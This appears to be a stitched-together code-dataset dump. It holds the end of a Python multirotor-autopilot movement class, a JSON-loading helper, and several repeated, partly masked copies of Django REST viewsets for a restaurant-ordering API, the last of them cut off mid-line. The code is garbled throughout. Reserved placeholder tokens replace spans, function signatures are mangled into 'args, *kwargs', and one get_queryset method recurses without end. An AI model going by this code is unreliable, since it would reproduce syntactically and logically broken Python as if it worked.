\|__) \|\| \| ___ \| \|_ \|\n \| \| ___/ _ \\ '_ \\ / _` \| \| \| \| ___/ \| \|/ _ \\\| __\| \|\n \| \| \| \| __/ \| \| \| (_\| \| \|_\| \| \| \| \| \| (_) \| \|_ \|\n \| \|_\| \\___\|_\| \|_\|\\__, \|\\__,_\|_\| \|_\|_\|\\___/ \\__\| \|\n \| __/ \| \|\n \| GNU/Linux based \|___/ Multi-Rotor UAV Autopilot \|\n \|___________________________________________________\|\n \n Movement Activity Class\n\n Copyright (C) 2014 Tobias Simon, Integrated Communication Systems Group, TU Ilmenau\n\n This program is free software; you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation; either version 2 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details. \"\"\"\n\n\nfrom math import hypot\nfrom time import sleep\nfrom util.geomath import LinearInterpolation\nfrom numpy import array, zeros\nfrom pilot_pb2 import *\nfrom activity import Activity, StabMixIn\nfrom util.geomath import gps_add_meters, gps_meters_offset\nfrom util.srtm import SrtmElevMap\n\n\n_srtm_elev_map = SrtmElevMap()\n\n\nclass MoveActivity(Activity, StabMixIn):\n\n\n Z_SPEED_MAX = 2\n SRTM_SAFETY_ALT = 20\n\n\n def __init__(self, icarus):\n Activity.__init__(self, icarus)\n self.canceled = False\n\n\n def run(self):\n # shortcut identifiers:\n arg = self.icarus.arg\n move_data = arg.move_data\n pilot = self.icarus.pilot\n params = pilot.params\n fsm = self.icarus.fsm\n prev_setp_rel = self.icarus.setpoints\n start_gps = (params.start_lat, params.start_lon)\n prev_setp_gps = gps_add_meters(start_gps, prev_setp_rel[0 : 2])\n \n # calculate target x, y, z and move\n coord = [None, None, None] # x, y, z setpoints\n if arg.glob:\n # set global lat, lon postion:\n glob_sp = [None, None, None]\n for i in xrange(3):\n name = 'p%d' % i\n if move_data.HasField(name):\n glob_sp[i] = getattr(move_data, name)\n print 'p0, p1, p2 = ', glob_sp\n if arg.rel:\n print 'glob, rel'\n # interpret lat, lon, alt as relative\n # covert previous x and y setpoints to rad, using start_lat, start_lon:\n gps = list(prev_setp_gps)\n for i in range(0, 2):\n if glob_sp[i] != None:\n gps[i] += glob_sp[i]\n # convert from wsg84 to relative:\n coord[0 : 2] = gps_meters_offset(start_gps, gps)\n # add z value:\n coord[2] = prev_setp_rel[2]\n if glob_sp[2] != None:\n coord[2] += glob_sp[2]\n else:\n print 'glob, abs'\n # interpret lat, lon, alt as absolute\n for i in range(0, 2):\n if glob_sp[i] == None:\n glob_sp[i] = prev_setp_gps[i]\n print start_gps, glob_sp[0 : 2]\n coord[0 : 2] = gps_meters_offset(start_gps, glob_sp[0 : 2])\n if glob_sp[2] != None:\n coord[2] = glob_sp[2] - params.start_alt\n else:\n coord[2] = prev_setp_rel[2]\n else:\n # local position update:\n for i in xrange(3):\n name = 'p%d' % i\n if move_data.HasField(name):\n if arg.rel:\n print 'local, rel'\n # relative local coordinate:\n coord[i] = prev_setp_rel[i] + getattr(move_data, name)\n else:\n print 'local, abs'\n # absolute local coordinate:\n coord[i] = getattr(move_data, name)\n else:\n coord[i] = prev_setp_rel[i]\n \n print 'coord output:', coord\n self.icarus.setpoints = coord\n # set position\n pilot.set_ctrl_param(POS_E, coord[0])\n pilot.set_ctrl_param(POS_N, coord[1])\n \n \"\"\"\n # did the altitude change?:\n if coord[2] != prev_setp_rel[2]:\n # set up linear z interpolation between start and destination points:\n dist = hypot(prev_setp_rel[0] - coord[0], prev_setp_rel[1] - coord[1])\n z_interp = LinearInterpolation(0.0, start_z, dist, coord[2]) \n # update z setpoint linearly between starting position and destination:\n target_dist = hypot(pilot.mon[5], pilot.mon[6])\n while target_dist > self.LAT_STAB_EPSILON:\n sleep(1)\n if self.canceled:\n pilot.set_ctrl_param(POS_N, pilot.mon[0])\n pilot.set_ctrl_param(POS_E, pilot.mon[1])\n pilot.set_ctrl_param(POS_U, pilot.mon[2])\n self.stabilize()\n return # not going into hovering state\n z = z_interp(dist - target_dist)\n # check elevation map:\n srtm_z = 1000.0 #_srtm_elev_map.lookup(lat, lon) - params.start_alt\n if z < srtm_alt + self.SRTM_SAFETY_ALT:\n z = srtm_alt + self.SRTM_SAFETY_ALT\n pilot.set_ctrl_param(POS_Z, z)\n \"\"\"\n\n self.stabilize()\n if not self.canceled:\n fsm.handle('done')\n\n\n def _cancel(self):\n self.canceled = True\n\n", "step-2": null, "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0 ] }	[ 0 ]
<\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def from_json_string(my_str): """Function returns a JSON file representation of an object (string)""" return json.loads(my_str) <\|reserved_special_token_1\|> import json def from_json_string(my_str): """Function returns a JSON file representation of an object (string)""" return json.loads(my_str) <\|reserved_special_token_1\|> #!/usr/bin/python3 import json def from_json_string(my_str): """Function returns a JSON file representation of an object (string)""" return json.loads(my_str)	flexible	{ "blob_id": "b748c489b2c63546feada811aa3b66146ad8d28e", "index": 9450, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef from_json_string(my_str):\n \"\"\"Function returns a JSON file representation of an object (string)\"\"\"\n return json.loads(my_str)\n", "step-3": "import json\n\n\ndef from_json_string(my_str):\n \"\"\"Function returns a JSON file representation of an object (string)\"\"\"\n return json.loads(my_str)\n", "step-4": "#!/usr/bin/python3\nimport json\n\n\ndef from_json_string(my_str):\n \"\"\"Function returns a JSON file representation of an object (string)\"\"\"\n\n return json.loads(my_str)\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }	[ 0, 1, 2, 3 ]
<\|reserved_special_token_0\|> class RestaurantViewSet(ModelViewSet): serializer_class = RestaurantSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Restaurant.objects.all() def _get_recommended_restaurants(self) ->queryset: queryset = self.get_queryset() recommended = queryset.all().annotate(rates_avg=Avg('rates__stars')) return recommended def _get_special_restaurants(self) ->queryset: queryset = self.get_queryset() special_offers_restaurants = queryset.filter(Q(menus__discount__gt= 0) \| Q(on_special_day=True)) return special_offers_restaurants @action(['get'], detail=False, url_path='get-home') def home(self, request, args, kwargs): recommended = self._get_recommended_restaurants().order_by('?')[:5] special = self._get_special_restaurants().order_by('?')[:5] all_restaurants = self.get_queryset().order_by('?')[:5] recommended = self.get_serializer(recommended, many=True).data special = self.get_serializer(special, many=True).data all_restaurants = self.get_serializer(all_restaurants, many=True).data response = {'recommended': recommended, 'special': special, 'all': all_restaurants} return Response(response) @action(['get'], detail=False, url_path='special-offers') def special_offers(self, request, args, *kwargs): serializer = self.get_serializer(self._get_special_restaurants(). order_by('-created_at'), many=True) return Response(serializer.data) @action(['get'], detail=False, url_path='recommended-offers') def recommended_offers(self, request, args, *kwargs): serializer = self.get_serializer(self._get_recommended_restaurants( ).order_by('-rates_avg'), many=True) return Response(serializer.data) @action(['get'], detail=True, url_path='restaurant-menus') def get_restaurant_menus(self, request, args, *kwargs): categorized_menus = Menu.objects.grouped_by_meal_type_for_a_restaurant( restaurant_id=self.kwargs.get('pk')) return Response(categorized_menus) class MenuViewSet(ModelViewSet): serializer_class = MenuSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Menu.objects.all() @action(['get'], detail=False, url_path='get-home') def home(self, request, args, *kwargs): queryset = self.get_queryset() special_offers = queryset.filter(~Q(discount=0)).order_by('?')[:5] recommended = queryset.all().order_by('?')[:5] special_offers = self.get_serializer(special_offers, many=True).data recommended = self.get_serializer(recommended, many=True).data response = {'recommended': recommended, 'special_offers': special_offers} return Response(data=response) @action(['get'], detail=False, url_path='special-offers') def special_offers(self, request, args, *kwargs): queryset = self.get_queryset() special_offers = queryset.filter(~Q(discount=0)).order_by('-created_at' ) serializer = self.get_serializer(special_offers, many=True) return Response(serializer.data) @action(['get'], detail=False, url_path='recommended-offers') def recommended_offers(self, request, args, *kwargs): queryset = self.get_queryset() recommended = queryset.all().order_by('-created_at') serializer = self.get_serializer(recommended, many=True) return Response(serializer.data) class OrderViewSet(ModelViewSet): serializer_class = OrderWRestaurantSerializer permission_classes = [permissions.IsAuthenticated] queryset = Order.objects.all().order_by('-created_at') def get_serializer(self, args, *kwargs): if self.action == 'create': return OrderSerializer(args, *kwargs) return super(OrderViewSet, self).get_serializer(args, *kwargs) def get_queryset(self): return super(OrderViewSet, self).get_queryset().filter(client=self. request.user.client) def create(self, request, args, *kwargs): fixer = RequestDataFixer(request=request) return super(OrderViewSet, self).create(fixer, args, *kwargs) class OrderLineViewSet(ModelViewSet): serializer_class = OrderLineSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = OrderLine.objects.all() class WilayaViewSet(ModelViewSet): serializer_class = WilayaSerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = Wilaya.objects.all() class CityViewSet(ModelViewSet): serializer_class = CitySerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = City.objects.all() <\|reserved_special_token_0\|> class AddressViewSet(ModelViewSet): serializer_class = AddressSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Address.objects.all() @action(['PUT'], detail=True, url_path='set-default', url_name= 'set-default') def set_default(self, request, args, *kwargs): instance = self.get_object() instance.default = True instance.save() self.get_queryset().filter(~Q(pk=instance.pk), belongs_to=request. user.client).update(default=False) return Response(self.get_serializer(instance).data) @action(['PUT'], detail=False, url_path='set-main', url_name='set-main') def set_main(self, request, args, *kwargs): self.get_queryset().filter(belongs_to=request.user.client).update( default=False) return Response({'status': True}) def get_queryset(self): return super(AddressViewSet, self).get_queryset().filter(belongs_to =self.request.user.client) class PhoneViewSet(ModelViewSet): permission_classes = [permissions.IsAuthenticatedOrReadOnly] serializer_class = PhoneSerializer queryset = Phone.objects.all() @action(['PUT'], detail=False, url_path='set-main', url_name='set-main') def set_main(self, request, args, *kwargs): self.get_queryset().filter(user=request.user).update(default=False) return Response({'status': True}) @action(['PUT'], detail=True, url_path='set-default', url_name= 'set-default') def set_default(self, request, args, *kwargs): instance = self.get_object() instance.default = True instance.save() self.get_queryset().filter(~Q(pk=instance.pk), user=request.user ).update(default=False) return Response(self.get_serializer(instance).data) def get_queryset(self): return self.get_queryset().filter(user=self.request.user) <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class MealTypeViewSet(ModelViewSet): permission_classes = [my_perms.IsAdminOrReadOnly] serializer_class = MealTypeSerializer queryset = MealType.objects.all() def get_serializer(self, args, *kwargs): if self.action == 'get_types_with_menus': serializer_class = MealTypesWithMenuSerializer kwargs['context'] = self.get_serializer_context() return serializer_class(args, *kwargs) return super(MealTypeViewSet, self).get_serializer(args, *kwargs) @action(['get'], detail=False, url_path='type-with-menus') def get_types_with_menus(self, request, args, *kwargs): types = self.get_queryset().filter(menus__offered_by=request. query_params.get('restaurant', 0)) types = self.get_serializer(types, many=True).data return Response(types) class RestaurantTypeViewSet(ModelViewSet): serializer_class = RestaurantTypeSerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = RestaurantType.objects.all() class RestaurantViewSet(ModelViewSet): serializer_class = RestaurantSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Restaurant.objects.all() def _get_recommended_restaurants(self) ->queryset: queryset = self.get_queryset() recommended = queryset.all().annotate(rates_avg=Avg('rates__stars')) return recommended def _get_special_restaurants(self) ->queryset: queryset = self.get_queryset() special_offers_restaurants = queryset.filter(Q(menus__discount__gt= 0) \| Q(on_special_day=True)) return special_offers_restaurants @action(['get'], detail=False, url_path='get-home') def home(self, request, args, *kwargs): recommended = self._get_recommended_restaurants().order_by('?')[:5] special = self._get_special_restaurants().order_by('?')[:5] all_restaurants = self.get_queryset().order_by('?')[:5] recommended = self.get_serializer(recommended, many=True).data special = self.get_serializer(special, many=True).data all_restaurants = self.get_serializer(all_restaurants, many=True).data response = {'recommended': recommended, 'special': special, 'all': all_restaurants} return Response(response) @action(['get'], detail=False, url_path='special-offers') def special_offers(self, request, args, *kwargs): serializer = self.get_serializer(self._get_special_restaurants(). order_by('-created_at'), many=True) return Response(serializer.data) @action(['get'], detail=False, url_path='recommended-offers') def recommended_offers(self, request, args, *kwargs): serializer = self.get_serializer(self._get_recommended_restaurants( ).order_by('-rates_avg'), many=True) return Response(serializer.data) @action(['get'], detail=True, url_path='restaurant-menus') def get_restaurant_menus(self, request, args, *kwargs): categorized_menus = Menu.objects.grouped_by_meal_type_for_a_restaurant( restaurant_id=self.kwargs.get('pk')) return Response(categorized_menus) class MenuViewSet(ModelViewSet): serializer_class = MenuSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Menu.objects.all() @action(['get'], detail=False, url_path='get-home') def home(self, request, args, *kwargs): queryset = self.get_queryset() special_offers = queryset.filter(~Q(discount=0)).order_by('?')[:5] recommended = queryset.all().order_by('?')[:5] special_offers = self.get_serializer(special_offers, many=True).data recommended = self.get_serializer(recommended, many=True).data response = {'recommended': recommended, 'special_offers': special_offers} return Response(data=response) @action(['get'], detail=False, url_path='special-offers') def special_offers(self, request, args, *kwargs): queryset = self.get_queryset() special_offers = queryset.filter(~Q(discount=0)).order_by('-created_at' ) serializer = self.get_serializer(special_offers, many=True) return Response(serializer.data) @action(['get'], detail=False, url_path='recommended-offers') def recommended_offers(self, request, args, *kwargs): queryset = self.get_queryset() recommended = queryset.all().order_by('-created_at') serializer = self.get_serializer(recommended, many=True) return Response(serializer.data) class OrderViewSet(ModelViewSet): serializer_class = OrderWRestaurantSerializer permission_classes = [permissions.IsAuthenticated] queryset = Order.objects.all().order_by('-created_at') def get_serializer(self, args, *kwargs): if self.action == 'create': return OrderSerializer(args, *kwargs) return super(OrderViewSet, self).get_serializer(args, *kwargs) def get_queryset(self): return super(OrderViewSet, self).get_queryset().filter(client=self. request.user.client) def create(self, request, args, *kwargs): fixer = RequestDataFixer(request=request) return super(OrderViewSet, self).create(fixer, args, *kwargs) class OrderLineViewSet(ModelViewSet): serializer_class = OrderLineSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = OrderLine.objects.all() class WilayaViewSet(ModelViewSet): serializer_class = WilayaSerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = Wilaya.objects.all() class CityViewSet(ModelViewSet): serializer_class = CitySerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = City.objects.all() <\|reserved_special_token_0\|> class AddressViewSet(ModelViewSet): serializer_class = AddressSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Address.objects.all() @action(['PUT'], detail=True, url_path='set-default', url_name= 'set-default') def set_default(self, request, args, *kwargs): instance = self.get_object() instance.default = True instance.save() self.get_queryset().filter(~Q(pk=instance.pk), belongs_to=request. user.client).update(default=False) return Response(self.get_serializer(instance).data) @action(['PUT'], detail=False, url_path='set-main', url_name='set-main') def set_main(self, request, args, *kwargs): self.get_queryset().filter(belongs_to=request.user.client).update( default=False) return Response({'status': True}) def get_queryset(self): return super(AddressViewSet, self).get_queryset().filter(belongs_to =self.request.user.client) class PhoneViewSet(ModelViewSet): permission_classes = [permissions.IsAuthenticatedOrReadOnly] serializer_class = PhoneSerializer queryset = Phone.objects.all() @action(['PUT'], detail=False, url_path='set-main', url_name='set-main') def set_main(self, request, args, *kwargs): self.get_queryset().filter(user=request.user).update(default=False) return Response({'status': True}) @action(['PUT'], detail=True, url_path='set-default', url_name= 'set-default') def set_default(self, request, args, *kwargs): instance = self.get_object() instance.default = True instance.save() self.get_queryset().filter(~Q(pk=instance.pk), user=request.user ).update(default=False) return Response(self.get_serializer(instance).data) def get_queryset(self): return self.get_queryset().filter(user=self.request.user) <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class CuisineViewSet(ModelViewSet): <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> class MealTypeViewSet(ModelViewSet): permission_classes = [my_perms.IsAdminOrReadOnly] serializer_class = MealTypeSerializer queryset = MealType.objects.all() def get_serializer(self, args, *kwargs): if self.action == 'get_types_with_menus': serializer_class = MealTypesWithMenuSerializer kwargs['context'] = self.get_serializer_context() return serializer_class(args, *kwargs) return super(MealTypeViewSet, self).get_serializer(args, *kwargs) @action(['get'], detail=False, url_path='type-with-menus') def get_types_with_menus(self, request, args, *kwargs): types = self.get_queryset().filter(menus__offered_by=request. query_params.get('restaurant', 0)) types = self.get_serializer(types, many=True).data return Response(types) class RestaurantTypeViewSet(ModelViewSet): serializer_class = RestaurantTypeSerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = RestaurantType.objects.all() class RestaurantViewSet(ModelViewSet): serializer_class = RestaurantSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Restaurant.objects.all() def _get_recommended_restaurants(self) ->queryset: queryset = self.get_queryset() recommended = queryset.all().annotate(rates_avg=Avg('rates__stars')) return recommended def _get_special_restaurants(self) ->queryset: queryset = self.get_queryset() special_offers_restaurants = queryset.filter(Q(menus__discount__gt= 0) \| Q(on_special_day=True)) return special_offers_restaurants @action(['get'], detail=False, url_path='get-home') def home(self, request, args, *kwargs): recommended = self._get_recommended_restaurants().order_by('?')[:5] special = self._get_special_restaurants().order_by('?')[:5] all_restaurants = self.get_queryset().order_by('?')[:5] recommended = self.get_serializer(recommended, many=True).data special = self.get_serializer(special, many=True).data all_restaurants = self.get_serializer(all_restaurants, many=True).data response = {'recommended': recommended, 'special': special, 'all': all_restaurants} return Response(response) @action(['get'], detail=False, url_path='special-offers') def special_offers(self, request, args, *kwargs): serializer = self.get_serializer(self._get_special_restaurants(). order_by('-created_at'), many=True) return Response(serializer.data) @action(['get'], detail=False, url_path='recommended-offers') def recommended_offers(self, request, args, *kwargs): serializer = self.get_serializer(self._get_recommended_restaurants( ).order_by('-rates_avg'), many=True) return Response(serializer.data) @action(['get'], detail=True, url_path='restaurant-menus') def get_restaurant_menus(self, request, args, *kwargs): categorized_menus = Menu.objects.grouped_by_meal_type_for_a_restaurant( restaurant_id=self.kwargs.get('pk')) return Response(categorized_menus) class MenuViewSet(ModelViewSet): serializer_class = MenuSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Menu.objects.all() @action(['get'], detail=False, url_path='get-home') def home(self, request, args, *kwargs): queryset = self.get_queryset() special_offers = queryset.filter(~Q(discount=0)).order_by('?')[:5] recommended = queryset.all().order_by('?')[:5] special_offers = self.get_serializer(special_offers, many=True).data recommended = self.get_serializer(recommended, many=True).data response = {'recommended': recommended, 'special_offers': special_offers} return Response(data=response) @action(['get'], detail=False, url_path='special-offers') def special_offers(self, request, args, *kwargs): queryset = self.get_queryset() special_offers = queryset.filter(~Q(discount=0)).order_by('-created_at' ) serializer = self.get_serializer(special_offers, many=True) return Response(serializer.data) @action(['get'], detail=False, url_path='recommended-offers') def recommended_offers(self, request, args, *kwargs): queryset = self.get_queryset() recommended = queryset.all().order_by('-created_at') serializer = self.get_serializer(recommended, many=True) return Response(serializer.data) class OrderViewSet(ModelViewSet): serializer_class = OrderWRestaurantSerializer permission_classes = [permissions.IsAuthenticated] queryset = Order.objects.all().order_by('-created_at') def get_serializer(self, args, *kwargs): if self.action == 'create': return OrderSerializer(args, *kwargs) return super(OrderViewSet, self).get_serializer(args, *kwargs) def get_queryset(self): return super(OrderViewSet, self).get_queryset().filter(client=self. request.user.client) def create(self, request, args, *kwargs): fixer = RequestDataFixer(request=request) return super(OrderViewSet, self).create(fixer, args, *kwargs) class OrderLineViewSet(ModelViewSet): serializer_class = OrderLineSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = OrderLine.objects.all() class WilayaViewSet(ModelViewSet): serializer_class = WilayaSerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = Wilaya.objects.all() class CityViewSet(ModelViewSet): serializer_class = CitySerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = City.objects.all() <\|reserved_special_token_0\|> class AddressViewSet(ModelViewSet): serializer_class = AddressSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Address.objects.all() @action(['PUT'], detail=True, url_path='set-default', url_name= 'set-default') def set_default(self, request, args, *kwargs): instance = self.get_object() instance.default = True instance.save() self.get_queryset().filter(~Q(pk=instance.pk), belongs_to=request. user.client).update(default=False) return Response(self.get_serializer(instance).data) @action(['PUT'], detail=False, url_path='set-main', url_name='set-main') def set_main(self, request, args, *kwargs): self.get_queryset().filter(belongs_to=request.user.client).update( default=False) return Response({'status': True}) def get_queryset(self): return super(AddressViewSet, self).get_queryset().filter(belongs_to =self.request.user.client) class PhoneViewSet(ModelViewSet): permission_classes = [permissions.IsAuthenticatedOrReadOnly] serializer_class = PhoneSerializer queryset = Phone.objects.all() @action(['PUT'], detail=False, url_path='set-main', url_name='set-main') def set_main(self, request, args, *kwargs): self.get_queryset().filter(user=request.user).update(default=False) return Response({'status': True}) @action(['PUT'], detail=True, url_path='set-default', url_name= 'set-default') def set_default(self, request, args, *kwargs): instance = self.get_object() instance.default = True instance.save() self.get_queryset().filter(~Q(pk=instance.pk), user=request.user ).update(default=False) return Response(self.get_serializer(instance).data) def get_queryset(self): return self.get_queryset().filter(user=self.request.user) <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class CuisineViewSet(ModelViewSet): serializer_class = CuisineSerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = Cuisine.objects.all() class MealTypeViewSet(ModelViewSet): permission_classes = [my_perms.IsAdminOrReadOnly] serializer_class = MealTypeSerializer queryset = MealType.objects.all() def get_serializer(self, args, *kwargs): if self.action == 'get_types_with_menus': serializer_class = MealTypesWithMenuSerializer kwargs['context'] = self.get_serializer_context() return serializer_class(args, *kwargs) return super(MealTypeViewSet, self).get_serializer(args, *kwargs) @action(['get'], detail=False, url_path='type-with-menus') def get_types_with_menus(self, request, args, *kwargs): types = self.get_queryset().filter(menus__offered_by=request. query_params.get('restaurant', 0)) types = self.get_serializer(types, many=True).data return Response(types) class RestaurantTypeViewSet(ModelViewSet): serializer_class = RestaurantTypeSerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = RestaurantType.objects.all() class RestaurantViewSet(ModelViewSet): serializer_class = RestaurantSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Restaurant.objects.all() def _get_recommended_restaurants(self) ->queryset: queryset = self.get_queryset() recommended = queryset.all().annotate(rates_avg=Avg('rates__stars')) return recommended def _get_special_restaurants(self) ->queryset: queryset = self.get_queryset() special_offers_restaurants = queryset.filter(Q(menus__discount__gt= 0) \| Q(on_special_day=True)) return special_offers_restaurants @action(['get'], detail=False, url_path='get-home') def home(self, request, args, *kwargs): recommended = self._get_recommended_restaurants().order_by('?')[:5] special = self._get_special_restaurants().order_by('?')[:5] all_restaurants = self.get_queryset().order_by('?')[:5] recommended = self.get_serializer(recommended, many=True).data special = self.get_serializer(special, many=True).data all_restaurants = self.get_serializer(all_restaurants, many=True).data response = {'recommended': recommended, 'special': special, 'all': all_restaurants} return Response(response) @action(['get'], detail=False, url_path='special-offers') def special_offers(self, request, args, *kwargs): serializer = self.get_serializer(self._get_special_restaurants(). order_by('-created_at'), many=True) return Response(serializer.data) @action(['get'], detail=False, url_path='recommended-offers') def recommended_offers(self, request, args, *kwargs): serializer = self.get_serializer(self._get_recommended_restaurants( ).order_by('-rates_avg'), many=True) return Response(serializer.data) @action(['get'], detail=True, url_path='restaurant-menus') def get_restaurant_menus(self, request, args, *kwargs): categorized_menus = Menu.objects.grouped_by_meal_type_for_a_restaurant( restaurant_id=self.kwargs.get('pk')) return Response(categorized_menus) class MenuViewSet(ModelViewSet): serializer_class = MenuSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Menu.objects.all() @action(['get'], detail=False, url_path='get-home') def home(self, request, args, *kwargs): queryset = self.get_queryset() special_offers = queryset.filter(~Q(discount=0)).order_by('?')[:5] recommended = queryset.all().order_by('?')[:5] special_offers = self.get_serializer(special_offers, many=True).data recommended = self.get_serializer(recommended, many=True).data response = {'recommended': recommended, 'special_offers': special_offers} return Response(data=response) @action(['get'], detail=False, url_path='special-offers') def special_offers(self, request, args, *kwargs): queryset = self.get_queryset() special_offers = queryset.filter(~Q(discount=0)).order_by('-created_at' ) serializer = self.get_serializer(special_offers, many=True) return Response(serializer.data) @action(['get'], detail=False, url_path='recommended-offers') def recommended_offers(self, request, args, *kwargs): queryset = self.get_queryset() recommended = queryset.all().order_by('-created_at') serializer = self.get_serializer(recommended, many=True) return Response(serializer.data) class OrderViewSet(ModelViewSet): serializer_class = OrderWRestaurantSerializer permission_classes = [permissions.IsAuthenticated] queryset = Order.objects.all().order_by('-created_at') def get_serializer(self, args, *kwargs): if self.action == 'create': return OrderSerializer(args, *kwargs) return super(OrderViewSet, self).get_serializer(args, *kwargs) def get_queryset(self): return super(OrderViewSet, self).get_queryset().filter(client=self. request.user.client) def create(self, request, args, *kwargs): fixer = RequestDataFixer(request=request) return super(OrderViewSet, self).create(fixer, args, *kwargs) class OrderLineViewSet(ModelViewSet): serializer_class = OrderLineSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = OrderLine.objects.all() class WilayaViewSet(ModelViewSet): serializer_class = WilayaSerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = Wilaya.objects.all() class CityViewSet(ModelViewSet): serializer_class = CitySerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = City.objects.all() <\|reserved_special_token_0\|> class AddressViewSet(ModelViewSet): serializer_class = AddressSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] queryset = Address.objects.all() @action(['PUT'], detail=True, url_path='set-default', url_name= 'set-default') def set_default(self, request, args, *kwargs): instance = self.get_object() instance.default = True instance.save() self.get_queryset().filter(~Q(pk=instance.pk), belongs_to=request. user.client).update(default=False) return Response(self.get_serializer(instance).data) @action(['PUT'], detail=False, url_path='set-main', url_name='set-main') def set_main(self, request, args, *kwargs): self.get_queryset().filter(belongs_to=request.user.client).update( default=False) return Response({'status': True}) def get_queryset(self): return super(AddressViewSet, self).get_queryset().filter(belongs_to =self.request.user.client) class PhoneViewSet(ModelViewSet): permission_classes = [permissions.IsAuthenticatedOrReadOnly] serializer_class = PhoneSerializer queryset = Phone.objects.all() @action(['PUT'], detail=False, url_path='set-main', url_name='set-main') def set_main(self, request, args, *kwargs): self.get_queryset().filter(user=request.user).update(default=False) return Response({'status': True}) @action(['PUT'], detail=True, url_path='set-default', url_name= 'set-default') def set_default(self, request, args, *kwargs): instance = self.get_object() instance.default = True instance.save() self.get_queryset().filter(~Q(pk=instance.pk), user=request.user ).update(default=False) return Response(self.get_serializer(instance).data) def get_queryset(self): return self.get_queryset().filter(user=self.request.user) <\|reserved_special_token_1\|> from django.db.models import Q, Avg from django.http import JsonResponse from rest_framework import permissions from rest_framework.authtoken.models import Token from rest_framework.authtoken.views import ObtainAuthToken from rest_framework.decorators import action from rest_framework.response import Response from rest_framework.views import APIView from rest_framework.viewsets import ModelViewSet from base_backend import permissions as my_perms from base_backend.utils import RequestDataFixer from restaurants.models import User, Cuisine, MealType, AppVersion, RestaurantType, Restaurant, Menu, Order, OrderLine, \ Wilaya, City, Address, Phone from restaurants.serializers import UserSerializer, SmsConfirmationSerializer, CuisineSerializer, \ RestaurantTypeSerializer, RestaurantSerializer, MenuSerializer, OrderLineSerializer, WilayaSerializer, \ CitySerializer, OrderWRestaurantSerializer, MealTypesWithMenuSerializer, MealTypeSerializer, OrderSerializer, \ AddressSerializer, PhoneSerializer class LoginApi(ObtainAuthToken): def post(self, request, args, *kwargs): serializer = self.serializer_class(data=request.data, context=dict(request=request)) serializer.is_valid(raise_exception=True) user = serializer.validated_data['user'] token, created = Token.objects.get_or_create(user=user) return Response( dict( token=token.key, user_id=user.pk, phone=user.phone, email=user.email, type=user.user_type, photo=user.photo.url if user.photo else None, address=user.address, city=user.lives_in_id, birth_date=user.birth_date, username=user.username, # is_participant=user.client.is_participant if user.client is not None else None, # participant_id=user.client.participant.participant_id if user.client else None, ) ) class UserViewSet(ModelViewSet): serializer_class = UserSerializer queryset = User.objects.filter(is_active=True) def get_permissions(self): if self.action == 'create' or self.action == 'register': return [permissions.AllowAny()] else: return [permissions.IsAuthenticatedOrReadOnly()] @action(methods=['post'], detail=False, url_path='register', permission_classes=[permissions.AllowAny()]) def register(self, request, args, *kwargs): response = super().create(request, args, *kwargs) if response: response.data = dict(status=True, code=4) return response def create(self, request, args, *kwargs): return self.register(request, args, *kwargs) class OtpApi(APIView): permission_classes = [permissions.AllowAny] def get(self, request): serializer = SmsConfirmationSerializer(data=request.GET) result = serializer.resend() if result: response = dict(status=True, code=5) else: response = dict(status=False, code=21) return Response(response) def put(self, request): serializer = SmsConfirmationSerializer(data=request.data) result = serializer.activate() if result: response = dict(status=True, code=5) else: response = dict(status=False, code=20) return Response(response) class CuisineViewSet(ModelViewSet): serializer_class = CuisineSerializer permission_classes = [my_perms.IsAdminOrReadOnly] queryset = Cuisine.objects.all() class MealTypeViewSet(ModelViewSet): permission_classes = [my_perms.IsAdminOrReadOnly] serializer_class = MealTypeSerializer queryset = MealType.objects.all() def get_serializer(self, args, *kwargs): if self.action == "get_types_with_menus": serializer_class = MealTypesWithMenuSerializer kwargs['context'] = self.get_serializer_context() return serializer_class(args, *kwargs) return super(MealTypeViewSet, self).get_serializer(args, *kwargs) @action(['get'], detail=False, url_path="type-with-menus", ) def get_types_with_menus(self, request, args, *kwargs): types = self.get_queryset().filter(menus__offered_by=request.query_params.get('restaurant', 0)) types = self.get_serializer(types, many=True).data return Response(types) class RestaurantTypeViewSet(ModelViewSet): serializer_class = 